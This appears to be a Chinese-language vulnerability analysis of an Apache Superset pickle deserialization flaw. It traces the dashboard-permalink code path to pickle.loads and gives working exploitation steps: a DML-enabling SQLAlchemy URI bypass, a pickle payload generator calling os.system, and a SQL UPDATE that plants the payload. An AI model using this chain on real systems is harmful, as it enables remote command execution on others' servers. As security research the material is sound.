superset反序列化分析
字数 1630 2025-08-06 08:35:09
Apache Superset 反序列化漏洞分析与利用
0x01 Python反序列化基础知识
pickle模块安全风险
Python的pickle模块实现了Python对象结构的二进制序列化和反序列化,但官方文档明确警告:
- pickle模块并不安全
- 只应对信任的数据进行unpickle操作
- 构建恶意pickle数据可在解封时执行任意代码
- 绝对不要对不信任来源或被篡改的数据进行解封
__reduce__()魔术方法
该方法用于定义类对象应如何序列化,当对象被反序列化时会被调用(类似于PHP的__wakeup())。
__reduce__()方法:
- 不带任何参数
- 应返回字符串或元组(推荐)
- 元组应包含2到6个元素,重点关注前两个:
- 第一个元素:可调用对象(创建对象最初版本时调用)
- 第二个元素:可调用对象的参数(元组形式)
示例代码:
import pickle
import os
class Student(object):
name = 'xxx'
age = '20'
def __reduce__(self):
cmd = "calc.exe"
return os.system, (cmd,)
y = pickle.dumps(Student())
print(y)
pickle.loads(y) # 执行calc.exe
0x02 漏洞点发现
关键函数定位
全局搜索pickle.loads,发现GetKeyValueCommand类的run方法会调用get,最终反序列化entry.value内容。
数据库查询逻辑:
SELECT value FROM key_value WHERE resource=xxx AND key=xxx
调用链分析
- 查找实例化
GetKeyValueCommand并调用run方法的位置 - 发现
GetDashboardPermalinkCommand会调用它,参数:self.resource:常量dashboard_permalinkkey:来自GetDashboardPermalinkCommand的参数
- 触发路由:
/dashboard/p/<key>/
数据写入点
查找写入数据库的位置,全局搜索/dashboard/p/,发现:
- 访问
<pk>/permalink路径 - 将
pk参数和POST传入的JSON合并 - 通过
CreateDashboardPermalinkCommand生成key - 拼接成固定链接
序列化过程
在CreateDashboardPermalinkCommand.run()中:
- 合并
dashboardId和state - 传入
UpsertKeyValueCommand key由user_id和value生成的UUIDresource为dashboard_permalink- 在
upsert方法中,value被pickle.dumps序列化后存入数据库
0x03 漏洞利用
攻击路径
- 获取固定链接(写入数据库)
- 修改数据库中的内容为payload
- 访问固定链接时触发反序列化
具体步骤
1. 生成固定链接
点击右上角··· → Share → Copy permalink to clipboard
发送请求:
POST /api/v1/dashboard/2/permalink HTTP/1.1
Host: 127.0.0.1:5000
Connection: close
{"urlParams":[],"dataMask":{},"activeTabs":[]}
获取链接:http://127.0.0.1:5000/superset/dashboard/p/x2WRlLjzXrB/
2. 修改数据库
由于SQL Lab默认只能执行SELECT,需要:
- 添加新数据源指向同一数据库
- 开启Allow DML(默认被阻止)
绕过方法:
使用完整SQLAlchemy URI:
sqlite+pysqlite:///D:/superset_2.1.0/superset.db
3. 生成payload
import pickle
import os
from binascii import hexlify
class RCE:
def __reduce__(self):
return os.system, ('calc.exe',)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(hexlify(pickled).decode())
4. 执行SQL更新
UPDATE key_value
SET value = X'636e740a73797374656d0a70300a285663616c632e6578650a70310a7470320a5270330a2e'
WHERE resource = 'dashboard_permalink';
5. 触发漏洞
访问之前生成的固定链接,将执行calc.exe
0x04 总结
完整攻击链:
- 使用
sqlite+pysqlite://添加当前数据库并开启DML - 生成固定链接(写入数据库)
- 通过SQL语句更新
dashboard_permalink值为payload - 访问固定链接触发
pickle.loads()反序列化 - 导致任意命令执行
关键点:
- 不安全的反序列化点:
pickle.loads(entry.value) - 数据流:固定链接生成 → 数据库写入 → 数据库读取 → 反序列化
- 绕过限制:使用完整SQLAlchemy URI添加数据源
- 利用方式:通过SQL更新序列化数据为恶意payload